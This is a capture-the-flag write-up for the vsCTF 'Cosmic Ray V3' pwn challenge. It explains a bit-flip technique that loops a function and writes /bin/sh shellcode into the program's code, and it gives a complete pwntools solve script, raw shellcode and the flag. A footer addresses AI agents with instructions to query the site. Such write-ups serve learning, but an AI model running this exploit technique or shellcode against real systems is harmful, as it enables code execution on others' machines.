# Cosmic Ray V3 (pwn)

{% file src="/files/9HsVBXcdvSDQsRN6Foky" %}

{% file src="/files/zDBoMhxOiUMB1fTr1q9g" %}

{% file src="/files/9lSbY42oYxAbCeTtDP0F" %}

The code in `main` is quite simple. It calls `cosmic_ray`, then does a `syscall`.

```c
undefined8 main(void)
{
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  cosmic_ray();
  syscall();
  return 0;
}
```

The equivalent assembly looks like this:

<figure><img src="/files/DDYq39a3HzKOTDxEMCj4" alt="" width="361"><figcaption></figcaption></figure>

`cosmic_ray` essentially allows us to choose any bit in the program to flip. The pseudocode is as follows:

```c
undefined8 cosmic_ray(void)
{
  __off_t local_30;
  char local_26;
  char local_25;
  int local_24;
  undefined8 local_20;
  long local_18;
  int local_10;
  int local_c;
  
  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx",&local_30);
  getchar();
  putchar(10);
  local_10 = open("/proc/self/mem",2);
  lseek(local_10,local_30,0);
  read(local_10,&local_25,1);
  local_18 = byte_to_binary((int)local_25);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(0x7c);
  for (local_c = 0; local_c < 8; local_c = local_c + 1) {
    printf("%d|",(ulong)(uint)(int)*(char *)(local_18 + local_c));
  }
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf(&DAT_00402098,&local_24);
  getchar();
  if ((-1 < local_24) && (local_24 < 8)) {
    local_20 = flip_bit(local_18,local_24);
    local_26 = binary_to_byte(local_20);
    putchar(10);
    printf("Bit succesfully flipped! New value is %d\n\n",(ulong)(uint)(int)local_26);
    lseek(local_10,local_30,0);
    write(local_10,&local_26,1);
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

We should first enter the byte to flip in the format `0x123456`, then enter the bit to flip which is between `0` (for most significant bit) and `7` (for least significant bit).

Since `cosmic_ray` is only called by `main` once, we need to find a way to get many bit flips. Notice that the assembly code for `cosmic_ray` is located above the assembly code for `main`:

<figure><img src="/files/CU9w2NSixdC2hdS86drS" alt="" width="373"><figcaption></figcaption></figure>

As such, if we were to modify the `RET` instruction to another valid instruction, the program execution would continue to `main` and call `cosmic_ray` again. We can change the byte `0x4015aa` at bit `0` from `1` to `0`, which would change the byte from `c3` to `43`, changing our `RET` to an instruction that is still valid.

<figure><img src="/files/E6n73dXRBCzhVGcgpYAM" alt=""><figcaption></figcaption></figure>

Now we want instructions after the `CALL cosmic_ray` instruction in `main` to contain shellcode. This way, when we finally allow the `cosmic_ray` function to return, our shellcode will be executed. So from address `0x4015e5` onwards, the bytes will contain our shellcode.&#x20;

Our plan is as follows:

1. Flip bit `0` at `0x4015aa`
2. Flip bits from `0x4015e5` onwards until our entire shellcode is in the program code&#x20;
3. Flip bit `0` at `0x4015aa` again to allow `cosmic_ray` to return

In my script, I define the function `flip` to handle process i/o, indicating which bit to flip. I also have a function `getbit` that obtains the specified bit from the program's code.&#x20;

For step 2, I iterate through every bit of the shellcode. If the bit is different from the corresponding bit in the program's code, I request the bit to be flipped. Below is my solve script.

```python
from pwn import *
from bitstring import BitArray
# fill in binary name
elf = context.binary = ELF("./cosmicrayv3")
libc = ELF("./libc-2.35.so")
ld = ELF("./ld-2.35.so")

context.log_level = 'debug'

# shellcode from https://www.exploit-db.com/exploits/47008
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
shellcode_hex = shellcode.hex()
shellcode_binarystr = BitArray(hex=shellcode_hex).bin
print(f"binary string: {shellcode_binarystr}")

f = open("./cosmicrayv3", "rb")
data = f.read()

if args.REMOTE:
  # fill in remote address
  p = remote("vsc.tf", 7000)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})

# create exploit here
def flip(addr,bits):
    addr = str(hex(addr)).encode()
    bits = str(bits).encode()
    p.sendlineafter(b"through:\n", addr)
    p.sendlineafter(b"flip:\n", bits)

# bits are from left to right. ie msb is bit 0, lsb is bit 7
def getbit(addr, bits):
    real_addr = addr - 0x400000
    binary_byte = hex(data[real_addr])
    byte_binarystr = BitArray(hex=binary_byte).bin
    byte_binarystr = byte_binarystr.rjust(8, '0')
    # count bits from left
    if byte_binarystr[bits] == '0':
        return '0'
    else:
        return '1'
    
# change c3 (ret)
flip(0x004015aa, 0)
# now we have infinite flips
# let 0x4015e5 and after be our shellcode
curr_byte, curr_bits= 0x04015e5, 0
for i in range(len(shellcode_binarystr)):
    a, b = getbit(curr_byte, curr_bits), shellcode_binarystr[i]
    if a != b:
        flip(curr_byte, curr_bits)
    if curr_bits == 7:
        curr_byte += 1
        curr_bits = 0
    else:
        curr_bits += 1

flip(0x004015aa, 0) # flip back to exit cosmic_ray
p.interactive() # vsctf{4nd_th3_st4r5_4l1gn_0nc3_m0r3}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://elijahchia.gitbook.io/ctf-blog/vsctf-24/cosmic-ray-v3-pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
